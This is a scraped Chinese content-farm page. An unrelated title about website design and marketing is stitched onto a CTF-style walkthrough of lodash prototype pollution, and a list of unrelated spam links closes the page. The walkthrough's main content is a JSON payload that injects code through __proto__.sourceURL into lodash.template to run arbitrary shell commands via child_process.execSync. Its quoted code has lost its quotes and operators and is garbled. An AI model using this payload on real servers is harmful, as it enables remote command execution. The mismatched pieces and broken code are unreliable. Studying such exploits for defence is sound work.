当前位置: 首页 > news >正文

成都微网站设计企业为什么要做网络营销推广

成都微网站设计,企业为什么要做网络营销推广,中国校园网站做的比较好的学校,办公室装饰目录 准备工作 环境搭建 加载项目 复现 代码审计 payload 总结 准备工作 环境搭建 Nodejs BurpSuite 加载项目 项目链接 ① 下载好了cmd切进去 ② 安装这个项目 可以检查一下 ③运行并监听 可以看到已经在3000端口启动了 复现 代码审计 const fs require(fs) cons…目录 准备工作 环境搭建 加载项目 复现  代码审计 payload 总结 准备工作 环境搭建 Nodejs BurpSuite 加载项目 项目链接 ① 下载好了cmd切进去 ② 安装这个项目 可以检查一下 ③运行并监听 可以看到已经在3000端口启动了  复现  代码审计 const fs require(fs) const express require(express) const bodyParser require(body-parser) const lodash require(lodash) const session require(express-session) const randomize require(randomatic) //以上都是引入各种模块const app express() app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) app.use(/static, express.static(static)) app.use(session({name: thejs.session,secret: randomize(aA0, 16),resave: false,saveUninitialized: false })) app.engine(ejs, function (filePath, options, callback) { // define the template enginefs.readFile(filePath, (err, content) {if (err) return callback(new Error(err))let compiled lodash.template(content)let rendered compiled({...options})return callback(null, rendered)}) }) app.set(views, ./views) app.set(view engine, ejs)app.all(/, (req, res) {let data req.session.data || {language: [], category: []}if (req.method POST) {data lodash.merge(data, req.body)req.session.data data}res.render(index, {language: data.language, category: data.category}) })app.listen(3000, () console.log(Example app listening on port 3000!))看到了这一句所以要先了解lodash模块是干什么的 data lodash.merge(data, req.body) lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集其中包含字符串、数组、对象等操作。这个Web应用中使用了lodash提供的两个工具 lodash.template 一个简单的模板引擎 lodash.merge 函数或对象的合并   逻辑就是用户提交数据通过lodash.merge将数据一直追加到session中 meige显然是可以利用的然后我们要找一个可以利用的属性了 为什么要利用sourceURL这个变量因为需要注入的变量需要在程序后段被调用也就是需要找到一个未定义且后面被调用的变量进行注入  重点关注一下template的第二个参数是options然后sourceURL这个属性默认为空如果options中传sourceURL就会将值赋过去。这样sourceURL就是我们可以控制的了 这里会把sourceURL拼接进了这个函数那我们就可以构造child_process.exec()了 但是对代码的上下文都没有require所以在执行的时候换成 global.process.mainModule.constructor._load(child_process).execSync(whoami) whoami就是任意命令执行的地方 payload {__proto__ :{sourceURL : \u000areturn (){for (var a in {}) {delete Object.prototype.a;} return global.process.mainModule.constructor._load(child_process).execSync(whoami)}//} }{__proto__ : {sourceURL : }}为主体 \u000a是url编码的换行目的让return在开头return (){for (var a in {}) {delete Object.prototype.a;} 这句的作用自己复现的时候意义不大目的是清空Object原型对象的属性防止被别的ctf选手抓包看到我们的payloadreturn global.process.mainModule.constructor._load(child_process).execSync(whoami)}// 这句才是关键用了这个取代require(child_process).exec最后//注释掉原本的return以及后边的内容注{__proto__ : }这里的__proto__在正常传递的时候可不会被当作属性只有以json格式传递这里不好用json.parse函数那就直接在请求头里改Content-type就好 calc计算器执行成功 总结         感觉原型链污染相对来说难一点点主要难点在代码审计上
http://www.w-s-a.com/news/589673/

相关文章:

  • 双桥区网站制作企业网站一般内容包括哪些
  • 莆田外贸专业建站做app 需要先做网站吗
  • 网站怎么用北京口碑最好的装修公司
  • 潮州网站建设深圳微信分销网站设计
  • asp.net网站开发实例教程pdf泉州seo网站关键词优推广
  • 怎样建立一个企业网站dede 网站名称
  • 做网上竞彩网站合法吗免费网站建设品牌
  • 网站开发所需要的的环境客户关系管理的内涵
  • 优质做网站公司做软件的人叫什么
  • 徐州市徐州市城乡建设局网站首页网站建设刂金手指下拉十五
  • 建设游戏网站目的及其定位市场营销策略概念
  • 小学电教检查网站建设资料wordpress谷歌字体
  • 南通做网站的公司有哪些中国建筑论坛网
  • 技术支持 佛山网站建设wordpress不用ftp
  • 广州定制app开发wordpress配置搜索引擎优化
  • 兰州网站建设论坛四川建设网官网登录
  • 在线作图免费网站湖南批量出品机
  • 深圳做网站公司有哪些地方妇联加强网站平台建设
  • vps建设网站别人访问不了网页链接生成器
  • 网站建设一般要多少钱电商平台取名字大全
  • 怎么做网站封面上的图网站开发语言 微信接口
  • 免费观看网站建设优化安徽
  • 上海电商网站开发公司做婚恋网站的翻译好吗
  • 以网站建设为开题报告大数据技术就业前景
  • dw做网站字体 别人电脑显示青岛活动策划公司
  • 网站成立时间查询墨猴seo排名公司
  • 技术支持 随州网站建设苏州企业网站建设定制
  • 美食网站开发目的与意义网站开发环境选择
  • 青岛西海岸新区城市建设局网站开发板在null不可用
  • 企业信息管理系统免费seo优化个人博客